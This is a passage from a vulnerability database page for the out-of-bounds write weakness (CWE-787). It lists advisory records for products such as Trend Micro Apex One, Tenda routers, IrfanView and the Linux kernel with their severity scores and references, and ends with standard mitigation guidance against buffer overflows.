  ],
  "summary": "ImageMagick BlobStream Forward-Seek Under-Allocation"
}

GHSA-23JC-43PH-XG8H

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2025-04-29 06:30
VLAI
Details

An out-of-bounds access vulnerability in the Unauthorized Change Prevention service of Trend Micro Apex One and Apex One as a Service could allow a local attacker to elevate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-44649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "An out-of-bounds access vulnerability in the Unauthorized Change Prevention service of Trend Micro Apex One and Apex One as a Service could allow a local attacker to elevate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
  "id": "GHSA-23jc-43ph-xg8h",
  "modified": "2025-04-29T06:30:37Z",
  "published": "2022-12-12T15:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44649"
    },
    {
      "type": "WEB",
      "url": "https://success.trendmicro.com/solution/000291770"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-22-1619"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23JW-WJ29-XJCV

Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-16 18:31
VLAI
Details

Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the security_5g parameter of the sub_4CA50 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-70753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-121",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T16:16:05Z",
    "severity": "HIGH"
  },
  "details": "Tenda AX-1806 v1.0.0.1 was discovered to contain a stack overflow in the security_5g parameter of the sub_4CA50 function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted request.",
  "id": "GHSA-23jw-wj29-xjcv",
  "modified": "2026-01-16T18:31:23Z",
  "published": "2026-01-13T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70753"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0-fool/VulnbyCola/blob/main/Tenda/AX-1806/8/1.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23M6-M56P-VRHP

Vulnerability from github – Published: 2022-05-13 01:22 – Updated: 2022-05-13 01:22
VLAI
Details

An issue was discovered in Interpeak IPWEBS on Green Hills INTEGRITY RTOS 5.0.4. It allocates 60 bytes for the HTTP Authentication header. However, when copying this header to parse, it does not check the size of the header, leading to a stack-based buffer overflow.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-7714"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-26T01:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Interpeak IPWEBS on Green Hills INTEGRITY RTOS 5.0.4. It allocates 60 bytes for the HTTP Authentication header. However, when copying this header to parse, it does not check the size of the header, leading to a stack-based buffer overflow.",
  "id": "GHSA-23m6-m56p-vrhp",
  "modified": "2022-05-13T01:22:54Z",
  "published": "2022-05-13T01:22:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-7714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bl4ckic3/GHS-Bugs"
    },
    {
      "type": "WEB",
      "url": "https://www.ghs.com/products/rtos/integrity.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23PF-HQH5-742M

Vulnerability from github – Published: 2023-05-10 06:30 – Updated: 2024-04-04 03:58
VLAI
Details

Heap-based buffer overflow vulnerability exists in CX-Drive All models V3.01 and earlier. By having a user open a specially crafted SDD file, arbitrary code may be executed and/or information may be disclosed.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-27385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-10T06:15:13Z",
    "severity": "HIGH"
  },
  "details": "Heap-based buffer overflow vulnerability exists in CX-Drive All models V3.01 and earlier. By having a user open a specially crafted SDD file, arbitrary code may be executed and/or information may be disclosed.",
  "id": "GHSA-23pf-hqh5-742m",
  "modified": "2024-04-04T03:58:34Z",
  "published": "2023-05-10T06:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27385"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU97372625"
    },
    {
      "type": "WEB",
      "url": "https://www.ia.omron.com/product/vulnerability/OMSR-2023-004_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23PH-FHQ5-G5V8

Vulnerability from github – Published: 2023-02-17 18:30 – Updated: 2023-02-28 18:30
VLAI
Details

An issue in Schism Tracker v20200412 fixed in v.20200412 allows attacker to obtain sensitive information via the fmt_mtm_load_song function in fmt/mtm.c.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-32419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-17T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue in Schism Tracker v20200412 fixed in v.20200412 allows attacker to obtain sensitive information via the fmt_mtm_load_song function in fmt/mtm.c.",
  "id": "GHSA-23ph-fhq5-g5v8",
  "modified": "2023-02-28T18:30:18Z",
  "published": "2023-02-17T18:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/schismtracker/schismtracker/issues/249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/schismtracker/schismtracker/commit/1e2cc389a2a058fd13d99460c11115a6f7f7a6a4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23PJ-RVRR-6499

Vulnerability from github – Published: 2024-11-22 21:32 – Updated: 2024-11-22 21:32
VLAI
Details

IrfanView DXF File Parsing Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of IrfanView. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of DXF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-24602.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-11528"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-22T21:15:11Z",
    "severity": "HIGH"
  },
  "details": "IrfanView DXF File Parsing Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of IrfanView. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of DXF files. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-24602.",
  "id": "GHSA-23pj-rvrr-6499",
  "modified": "2024-11-22T21:32:17Z",
  "published": "2024-11-22T21:32:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11528"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-24-1589"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-23PR-HF4G-R8H2

Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-12-03 18:30
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

clk: mediatek: mt8183: Add back SSPM related clocks

This reverts commit 860690a93ef23b567f781c1b631623e27190f101.

On the MT8183, the SSPM related clocks were removed claiming a lack of usage. This however causes some issues when the driver was converted to the new simple-probe mechanism. This mechanism allocates enough space for all the clocks defined in the clock driver, not the highest index in the DT binding. This leads to out-of-bound writes if their are holes in the DT binding or the driver (due to deprecated or unimplemented clocks). These errors can go unnoticed and cause memory corruption, leading to crashes in unrelated areas, or nothing at all. KASAN will detect them.

Add the SSPM related clocks back to the MT8183 clock driver to fully implement the DT binding. The SSPM clocks are for the power management co-processor, and should never be turned off. They are marked as such.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-53274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-16T08:15:36Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: mediatek: mt8183: Add back SSPM related clocks\n\nThis reverts commit 860690a93ef23b567f781c1b631623e27190f101.\n\nOn the MT8183, the SSPM related clocks were removed claiming a lack of\nusage. This however causes some issues when the driver was converted to\nthe new simple-probe mechanism. This mechanism allocates enough space\nfor all the clocks defined in the clock driver, not the highest index\nin the DT binding. This leads to out-of-bound writes if their are holes\nin the DT binding or the driver (due to deprecated or unimplemented\nclocks). These errors can go unnoticed and cause memory corruption,\nleading to crashes in unrelated areas, or nothing at all. KASAN will\ndetect them.\n\nAdd the SSPM related clocks back to the MT8183 clock driver to fully\nimplement the DT binding. The SSPM clocks are for the power management\nco-processor, and should never be turned off. They are marked as such.",
  "id": "GHSA-23pr-hf4g-r8h2",
  "modified": "2025-12-03T18:30:20Z",
  "published": "2025-09-16T15:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-53274"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/1eb8d61ac5c9c7ec56bb96d433532807509b9288"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/45d69917a4af6c869193f95932dc6d6f15d5ef86"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list